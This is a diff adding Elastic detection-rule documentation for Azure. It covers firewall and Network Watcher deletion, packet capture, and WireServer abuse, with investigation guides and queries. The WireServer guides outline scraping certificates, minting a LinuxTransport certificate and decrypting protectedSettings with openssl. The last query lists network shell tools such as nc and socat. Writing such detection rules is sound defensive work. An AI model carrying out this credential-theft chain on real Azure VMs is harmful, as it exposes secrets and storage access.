b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-firewall-policy-deleted.asciidoc new file mode 100644 index 0000000000..99542419a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-firewall-policy-deleted.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-azure-vnet-firewall-policy-deleted]] +=== Azure VNet Firewall Policy Deleted + +Identifies the deletion of a firewall policy in Azure. An adversary may delete a firewall policy in an attempt to evade defenses and/or to eliminate barriers to their objective. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/firewall-manager/policy-overview + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure VNet Firewall Policy Deleted* + + +Azure Firewall policies are crucial for managing and enforcing network security rules across Azure environments. Adversaries may target these policies to disable security measures, facilitating unauthorized access or data exfiltration. The detection rule monitors Azure activity logs for successful deletion operations of firewall policies, signaling potential defense evasion attempts by identifying specific operation names and outcomes. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by filtering for the operation name "MICROSOFT.NETWORK/FIREWALLPOLICIES/DELETE" and ensuring the event outcome is "Success". +- Identify the user or service principal responsible for the deletion by examining the 'caller' field in the activity logs. +- Check the timestamp of the deletion event to determine when the policy was deleted and correlate it with other security events or alerts around the same time. +- Investigate the context of the deletion by reviewing any related activities performed by the same user or service principal, such as modifications to other security settings or unusual login patterns. +- Assess the impact of the deletion by identifying which resources or networks were protected by the deleted firewall policy and evaluating the potential exposure or risk introduced by its removal. +- Contact the responsible user or team to verify if the deletion was authorized and part of a planned change or if it was unexpected and potentially malicious. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel can trigger the deletion event. Ensure that such activities are logged and verified by cross-referencing with change management records. +- Automated scripts or tools used for infrastructure management might delete and recreate firewall policies as part of their operation. Identify these scripts and exclude their activity from alerts by using specific identifiers or tags. +- Test environments often undergo frequent changes, including policy deletions. Consider excluding activity from known test environments by filtering based on resource group or subscription IDs. +- Scheduled policy updates or rotations might involve temporary deletions. Document these schedules and adjust monitoring rules to account for these expected changes. +- Ensure that any third-party integrations or services with permissions to modify firewall policies are accounted for, and their actions are reviewed and whitelisted if necessary. + + +*Response and remediation* + + +- Immediately isolate the affected Azure resources to prevent further unauthorized access or data exfiltration. This can be done by applying restrictive network security group (NSG) rules or using Azure Security Center to quarantine resources. +- Review Azure activity logs to identify the user or service principal responsible for the deletion. Verify if the action was authorized and investigate any suspicious accounts or credentials. +- Restore the deleted firewall policy from backups or recreate it using predefined templates to ensure that network security rules are reinstated promptly. +- Implement conditional access policies to enforce multi-factor authentication (MFA) for all users with permissions to modify or delete firewall policies, reducing the risk of unauthorized changes. +- Escalate the incident to the security operations team for further investigation and to determine if additional resources or systems have been compromised. +- Conduct a post-incident review to identify gaps in security controls and update incident response plans to address similar threats in the future. +- Enhance monitoring by configuring alerts for any future attempts to delete or modify critical security policies, ensuring rapid detection and response to potential threats. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.NETWORK/FIREWALLPOLICIES/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-full-network-packet-capture-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-full-network-packet-capture-enabled.asciidoc new file mode 100644 index 0000000000..0a8c8cd777 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-full-network-packet-capture-enabled.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-azure-vnet-full-network-packet-capture-enabled]] +=== Azure VNet Full Network Packet Capture Enabled + +Identifies potential full network packet capture in Azure. Packet Capture is an Azure Network Watcher feature that can be used to inspect network traffic. This feature can potentially be abused to read sensitive data from unencrypted internal traffic. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 111 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure VNet Full Network Packet Capture Enabled* + + +Azure's Packet Capture is a feature of Network Watcher that allows for the inspection of network traffic, useful for diagnosing network issues. However, if misused, it can capture sensitive data from unencrypted traffic, posing a security risk. Adversaries might exploit this to access credentials or other sensitive information. The detection rule identifies suspicious packet capture activities by monitoring specific Azure activity logs for successful operations, helping to flag potential misuse. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific user or service principal associated with the packet capture operation by examining the `azure.activitylogs.operation_name` and `event.dataset` fields. +- Check the timestamp of the detected packet capture activity to determine the exact time frame of the event and correlate it with any other suspicious activities or changes in the environment. +- Investigate the source and destination IP addresses involved in the packet capture to understand the scope and potential impact, focusing on any unencrypted traffic that might have been captured. +- Verify the legitimacy of the packet capture request by contacting the user or team responsible for the operation to confirm if it was authorized and necessary for troubleshooting or other legitimate purposes. +- Assess the risk of exposed sensitive data by identifying any critical systems or services that were part of the captured network traffic, especially those handling credentials or personal information. + + +*False positive analysis* + + +- Routine network diagnostics by authorized personnel can trigger the rule. To manage this, create exceptions for specific user accounts or IP addresses known to perform regular diagnostics. +- Automated network monitoring tools might initiate packet captures as part of their normal operations. Identify these tools and exclude their activities from triggering alerts. +- Scheduled maintenance activities often involve packet captures for performance analysis. Document these schedules and configure the rule to ignore captures during these periods. +- Development and testing environments may frequently use packet capture for debugging purposes. Exclude these environments by filtering based on resource tags or environment identifiers. +- Legitimate security audits may involve packet capture to assess network security. Coordinate with the audit team to whitelist their activities during the audit period. + + +*Response and remediation* + + +- Immediately isolate the affected network segment to prevent further unauthorized packet capture and potential data exfiltration. +- Revoke any suspicious or unauthorized access to Azure Network Watcher and related resources to prevent further misuse. +- Conduct a thorough review of the captured network traffic logs to identify any sensitive data exposure and assess the potential impact. +- Reset credentials and access tokens for any accounts or services that may have been compromised due to exposed unencrypted traffic. +- Implement network encryption protocols to protect sensitive data in transit and reduce the risk of future packet capture exploitation. +- Escalate the incident to the security operations team for further investigation and to determine if additional security measures are necessary. +- Enhance monitoring and alerting for Azure Network Watcher activities to detect and respond to similar threats more effectively in the future. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name: + ( + MICROSOFT.NETWORK/*/STARTPACKETCAPTURE/ACTION or + MICROSOFT.NETWORK/*/VPNCONNECTIONS/STARTPACKETCAPTURE/ACTION or + MICROSOFT.NETWORK/*/PACKETCAPTURES/WRITE + ) and +event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-network-watcher-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-network-watcher-deleted.asciidoc new file mode 100644 index 0000000000..f74b699c91 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-network-watcher-deleted.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-azure-vnet-network-watcher-deleted]] +=== Azure VNet Network Watcher Deleted + +Identifies the deletion of a Network Watcher in Azure. Network Watchers are used to monitor, diagnose, view metrics, and enable or disable logs for resources in an Azure virtual network. An adversary may delete a Network Watcher in an attempt to evade defenses. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/network-watcher/network-watcher-monitoring-overview + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure VNet Network Watcher Deleted* + + +Azure Network Watcher is a vital tool for monitoring and diagnosing network issues within Azure environments. It provides insights and logging capabilities crucial for maintaining network security. Adversaries may delete Network Watchers to disable these monitoring functions, thereby evading detection. The detection rule identifies such deletions by monitoring Azure activity logs for specific delete operations, flagging successful attempts as potential security threats. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking for the operation name "MICROSOFT.NETWORK/NETWORKWATCHERS/DELETE" and ensuring the event outcome is marked as "Success" or "success". +- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs. +- Investigate the timeline of events leading up to the deletion by reviewing related activity logs for any unusual or unauthorized access patterns or changes in permissions. +- Assess the impact of the deletion by determining which resources were being monitored by the deleted Network Watcher and evaluating the potential security implications. +- Check for any other suspicious activities or alerts in the Azure environment that may indicate a broader attack or compromise, focusing on defense evasion tactics. + + +*False positive analysis* + + +- Routine maintenance activities by authorized personnel may trigger the deletion alert. Verify if the deletion aligns with scheduled maintenance and consider excluding these operations from alerts. +- Automated scripts or tools used for infrastructure management might delete Network Watchers as part of their normal operation. Identify these scripts and whitelist their activity to prevent false positives. +- Changes in network architecture or resource reallocation can lead to legitimate deletions. Review change management logs to confirm if the deletion was planned and adjust the detection rule to exclude these scenarios. +- Test environments often undergo frequent changes, including the deletion of Network Watchers. If these environments are known to generate false positives, consider creating exceptions for specific resource groups or subscriptions associated with testing. + + +*Response and remediation* + + +- Immediately isolate the affected Azure resources to prevent further unauthorized actions. This can be done by restricting network access or applying stricter security group rules. +- Review Azure activity logs to identify the user or service principal responsible for the deletion. Verify if the action was authorized and investigate any suspicious accounts. +- Restore the deleted Network Watcher by redeploying it in the affected regions to resume monitoring and logging capabilities. +- Conduct a security review of the affected Azure environment to identify any other potential misconfigurations or unauthorized changes. +- Implement stricter access controls and auditing for Azure resources, ensuring that only authorized personnel have the ability to delete critical monitoring tools like Network Watchers. +- Escalate the incident to the security operations team for further investigation and to determine if additional security measures are necessary. +- Enhance detection capabilities by ensuring that alerts for similar deletion activities are configured to notify the security team immediately. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.NETWORK/NETWORKWATCHERS/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-wireserver-http-request-from-unexpected-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-wireserver-http-request-from-unexpected-user-agent.asciidoc new file mode 100644 index 0000000000..d62f37ed2f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-wireserver-http-request-from-unexpected-user-agent.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-azure-wireserver-http-request-from-unexpected-user-agent]] +=== Azure WireServer HTTP Request from Unexpected User Agent + +Identifies HTTP requests to Azure WireServer (168.63.129.16) for GoalState, certificates, versions, or HostGAPlugin vmSettings that do not use a known guest-agent user agent. These requests retrieve transport certificates and extension protectedSettings, including embedded SAS URLs. Azure Linux Agent, Windows guest agent, and related platform UAs are excluded. Requests with no user agent are also excluded; that pattern is common for the Windows guest agent. + +*Rule type*: eql + +*Rule indices*: + +* logs-network_traffic.http* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cybercx.com.au/blog/azure-ssrf-metadata/ +* https://www.netspi.com/blog/technical-blog/cloud-pentesting/decrypting-vm-extension-settings-with-azure-wireserver/ +* https://cloud.google.com/blog/topics/threat-intelligence/escalating-privileges-azure-kubernetes-services +* https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16 + +*Tags*: + +* Domain: Cloud +* Domain: Network +* OS: Linux +* OS: Windows +* Platform: Azure +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure WireServer HTTP Request from Unexpected User Agent* + + +Network Packet Capture with HTTP decoding on ports 80 and 32526 shows the URI that Elastic Defend network events +lack. The match is the WireServer path or query, not a scripting-tool user-agent allowlist. + +- `url.query` contains `comp=versions` (discovery) +- `url.query` contains `comp=goalstate` (incarnation, container, extension list, statusUploadBlob pointer) +- `url.query` contains `comp=certificates` (often with request header `x-ms-guest-agent-public-x509-cert`) +- `destination.port == 32526` and `url.path` in `/versions`, `/vmSettings` + +Excluded user agents from lab guest-agent traffic: `WALinuxAgent/*`, `VMAgent/*`, `Python-urllib/*`, +`cpprestsdk/*`, `ACMS/*`, and a missing user agent (Windows guest agent). Curl and Windows PowerShell are not +excluded and will fire. + +`/vmSettings` response bodies are often dropped when they exceed keyword `ignore_above`. The URI, port, and user +agent are sufficient. Do not enable body capture to chase this rule. + + +*Possible investigation steps* + + +- Confirm `url.path`, `url.query`, `destination.port`, and `user_agent.original`. +- GoalState (`comp=goalstate`) is reconnaissance; `comp=certificates` means the client presented a transport + certificate. Look on the host for `openssl req ... LinuxTransport` or a stolen `.crt`/`.key`. +- Correlate with endpoint network events from the same `host.name` to `168.63.129.16` and process start events for + openssl cms decrypt. +- Search StorageRead platform logs for anonymous or SAS GetBlob against the same storage account after the scrape. + + +*False positive analysis* + + +- Administrative curl or other non-agent clients against WireServer during incident response. Exclude the specific + user agent or host after the change window. +- A new Microsoft guest-agent build with an unfamiliar user agent will fire until that UA is excluded. +- Omitting the user agent looks like the Windows guest agent and is not matched. Do not treat a missing UA as + suspicious on its own. + + +*Response and remediation* + + +- Isolate the VM, rotate secrets recovered from vmSettings, and review extension protectedSettings. +- Enable Metadata Security Protocol in audit or enforce mode to restrict WireServer callers. + + +==== Setup + + + +*Setup* + + +Deploy the https://www.elastic.co/docs/reference/integrations/network_traffic[Network Packet Capture] integration +via Fleet on Azure virtual machines. Default HTTP port lists do not include HostGAPlugin. + +Required integration settings: + +- Enable **Capture HTTP Traffic**. +- Set HTTP ports to include **80** (WireServer GoalState, versions, certificates) and **32526** (HostGAPlugin + `/versions`, `/vmSettings`). Without 32526, HostGAPlugin requests are invisible. +- Enable **Monitor Processes** so HTTP events include `process.*` when available. +- Optional: **Send all headers** to retain `x-ms-version` and `x-ms-guest-agent-public-x509-cert` for investigation. + The rule matches URI, port, and user agent, not the certificate PEM. +- Do not enable request or response body capture for this rule. `/vmSettings` bodies are large and often dropped; + other WireServer XML is not required for the match. + + +==== Rule query + + +[source, js] +---------------------------------- +network where event.module == "network_traffic" and +destination.ip == "168.63.129.16" and +user_agent.original != null and +not user_agent.original : ( + "WALinuxAgent*", + "VMAgent*", + "Python-urllib*", + "cpprestsdk*", + "ACMS/*" +) and +( + url.query : ("*comp=versions*", "*comp=goalstate*", "*comp=certificates*") or + (destination.port == 32526 and url.path : ("/versions", "/vmSettings")) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-wireserver-openssl-certificate-decrypt-or-linuxtransport-generation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-wireserver-openssl-certificate-decrypt-or-linuxtransport-generation.asciidoc new file mode 100644 index 0000000000..2dc3de7667 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-wireserver-openssl-certificate-decrypt-or-linuxtransport-generation.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-azure-wireserver-openssl-certificate-decrypt-or-linuxtransport-generation]] +=== Azure WireServer OpenSSL Certificate Decrypt or LinuxTransport Generation + +Identifies OpenSSL generating a CN=LinuxTransport certificate or decrypting CMS/PKCS7 payloads with a key that is not the Azure Linux Agent certificate under /var/lib/waagent. Adversaries can scrape WireServer certificates, mint a LinuxTransport identity, and decrypt extension protectedSettings with openssl cms -decrypt or smime -decrypt. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cybercx.com.au/blog/azure-ssrf-metadata/ +* https://www.netspi.com/blog/technical-blog/cloud-pentesting/decrypting-vm-extension-settings-with-azure-wireserver/ +* https://cloud.google.com/blog/topics/threat-intelligence/escalating-privileges-azure-kubernetes-services +* https://gtfobins.github.io/gtfobins/openssl/ + +*Tags*: + +* Domain: Endpoint +* Domain: Cloud +* OS: Linux +* Use Case: Threat Detection +* Platform: Azure +* Platform: Linux +* Tactic: Credential Access +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure WireServer OpenSSL Certificate Decrypt or LinuxTransport Generation* + + +CyberCX-style WireServer abuse on Linux generates `openssl req -x509 -subj /CN=LinuxTransport`, posts the public +certificate to WireServer `comp=certificates`, then runs `openssl cms -decrypt` or `openssl smime -decrypt` with +`temp.key`, `wireserver.key`, or another non-waagent key to unwrap protectedSettings. + +Benign Azure Linux Agent activity looks like: + +`openssl cms -inform DER -decrypt -recip /var/lib/waagent/.crt -inkey /var/lib/waagent/.prv` + +The Azure Linux Agent is excluded by certificate path in process arguments (`/var/lib/waagent/*`) and by +parent executables `/usr/sbin/waagent` and `/usr/bin/waagent`. This does not exclude Python or +`run-command-extension` as parents because attacker scripts invoked via Run Command use those parents +with a non-waagent key. The agent itself also runs `openssl req ... /CN=LinuxTransport` with output +under `/var/lib/waagent/`; that argument path exclusion covers it. + + +*Possible investigation steps* + + +- Review `process.command_line` and `process.args` for `LinuxTransport`, `wireserver.key`, `temp.key`, `payload.p7m`, + or `payload.pfx`. +- Inspect parent and grandparent: Run Command (`/var/lib/waagent/run-command/`) or an interactive shell is higher + risk than a one-off admin session with a ticket. +- Correlate with network events from curl to `168.63.129.16` ports 80 and 32526 on the same host. +- Search StorageRead logs for anonymous or SAS GetBlob of the same storage account after the decrypt. +- Hunt for the generated key files (`temp.key`, `wireserver.key`) on disk and in `/tmp`. + + +*False positive analysis* + + +- The Azure Linux Agent decrypt path under `/var/lib/waagent/` and waagent parent executables + (`/usr/sbin/waagent`, `/usr/bin/waagent`) are excluded. +- Legitimate certificate tooling that uses `-subj /CN=LinuxTransport` is unexpected; treat as suspicious until proven + otherwise. + + +*Response and remediation* + + +- Isolate the VM, delete attacker-generated keys and decrypted payloads, and rotate secrets that were in + protectedSettings (SAS, connection strings, CSE script contents). +- Rotate the VM managed identity and review extension configuration. +- Revoke any SAS that was replayed from the decrypted settings. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start") and process.name == "openssl" and +( + ( + process.args in ("cms", "smime") and process.args == "-decrypt" + ) or + ( + process.args == "req" and process.args : "*LinuxTransport*" + ) +) and +not process.args like "/var/lib/waagent/*" and +not process.parent.executable like ( + "/usr/sbin/waagent", + "/usr/bin/waagent" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-wireserver-unusual-process-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-wireserver-unusual-process-connection.asciidoc new file mode 100644 index 0000000000..0a487b973c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-wireserver-unusual-process-connection.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-azure-wireserver-unusual-process-connection]] +=== Azure WireServer Unusual Process Connection + +Identifies shells, LOLBins, GTFOBins, and scripting runtimes connecting to the Azure WireServer / HostGAPlugin address 168.63.129.16 on ports 80 or 32526. The guest agent uses this fabric endpoint for GoalState, certificates, and vmSettings. Adversaries with code execution on an Azure VM (including via Run Command) use curl, PowerShell, openssl, bun, or similar tools to enumerate versions, pull transport certificates, and read HostGAPlugin /vmSettings. Azure guest-agent binaries and system python used by waagent are excluded. Descendants of the guest agent are not excluded: Run Command payloads execute in that tree. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netspi.com/blog/technical-blog/cloud-pentesting/decrypting-vm-extension-settings-with-azure-wireserver/ +* https://cybercx.com.au/blog/azure-ssrf-metadata/ +* https://cloud.google.com/blog/topics/threat-intelligence/escalating-privileges-azure-kubernetes-services +* https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16 + +*Tags*: + +* Domain: Endpoint +* Domain: Cloud +* OS: Linux +* OS: Windows +* Platform: Azure +* Platform: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: New Terms +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure WireServer Unusual Process Connection* + + +`168.63.129.16` is the Azure host-only WireServer (TCP 80) and HostGAPlugin (TCP 32526) address. Elastic Defend +network events record the destination IP, port, and initiating process. They do not include the HTTP path; pair this +alert with Network Packet Capture HTTP events when available (`comp=certificates`, `/vmSettings`, `/versions`). + +Do not treat "child of waagent / WindowsAzureGuestAgent" as benign. Azure Run Command and Custom Script Extension +launch attacker scripts as descendants of those agents. Exclude only the agent binaries themselves, which this query +already omits by matching curl, PowerShell, and similar tools. + +`process.Ext.ancestry` is often empty on these network events, so EQL `descendant of` is not reliable here. + + +*Possible investigation steps* + + +- Review `process.name`, `process.executable`, and `process.command_line` on nearby process start events. Look for + `comp=certificates`, `32526`, `vmSettings`, `LinuxTransport`, or `openssl cms -decrypt`. +- Note `destination.port`: 32526 from curl or PowerShell is uncommon for legitimate guest-agent traffic (agents use + `WaAppAgent.exe`, `WindowsAzureGuestAgent.exe`, `CollectGuestLogs.exe`, or `/usr/bin/python3.10` / waagent). +- Correlate with `169.254.169.254` IMDS access from the same process, especially `/metadata/v1/instanceinfo` (no + Metadata header) or `/metadata/identity/oauth2/token`. +- Check Azure Activity Logs for `runCommand/action` or extensions/write against this VM. +- Search StorageRead platform logs for subsequent SAS GetBlob of vmsettings or cse objects. + + +*False positive analysis* + + +- In-house monitoring that wraps curl to WireServer. Exclude by `process.executable` or a signed parent after + validating the script contents. +- Do not exclude all children of the guest agent; that hides Run Command abuse. + + +*Response and remediation* + + +- Isolate the VM, rotate its managed identity and any SAS recovered from vmSettings, and review extension + protectedSettings for injected configuration. +- Remove unauthorized Run Command resources and Custom Script extensions. +- Consider Azure Metadata Security Protocol (audit/enforce) to restrict which processes may call WireServer. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category: network and host.os.type: (linux or windows) and + destination.ip: "168.63.129.16" and destination.port: (80 or 32526) and + ( + process.name: ( + bash or dash or sh or tcsh or csh or zsh or ksh or fish or mksh or busybox or + bun or bun.exe or node or node.exe or nodejs or deno or deno.exe or + java or java.exe or javaw or javaw.exe or + curl or curl.exe or wget or wget.exe or + powershell.exe or pwsh.exe or pwsh or cmd.exe or + certutil.exe or bitsadmin.exe or mshta.exe or rundll32.exe or + wscript.exe or cscript.exe or regsvr32.exe or + openssl or openssl.exe or nc or ncat or netcat or socat or + python.exe or pythonw.exe or perl or perl.exe or ruby or ruby.exe or + php or php.exe or lua or lua.exe + ) or + process.executable: ( + ./* or /tmp/* or /var/tmp/* or /dev/shm/* or /run/* or /var/run/* or + /home/*/* or /root/* or *\:\\Users\\* or *\:\\ProgramData\\* + ) + ) and + not process.executable: ( + /usr/sbin/waagent or /usr/bin/waagent or /usr/bin/python3* or + /usr/lib/systemd/systemd-resolved or /lib/systemd/systemd-resolved or + *\:\\WindowsAzure\\Packages\\* or *\:\\WindowsAzure\\GuestAgent*\\* or + *\:\\WindowsAzure\\SecAgent\\* + ) + +---------------------------------- + +*Framework*: 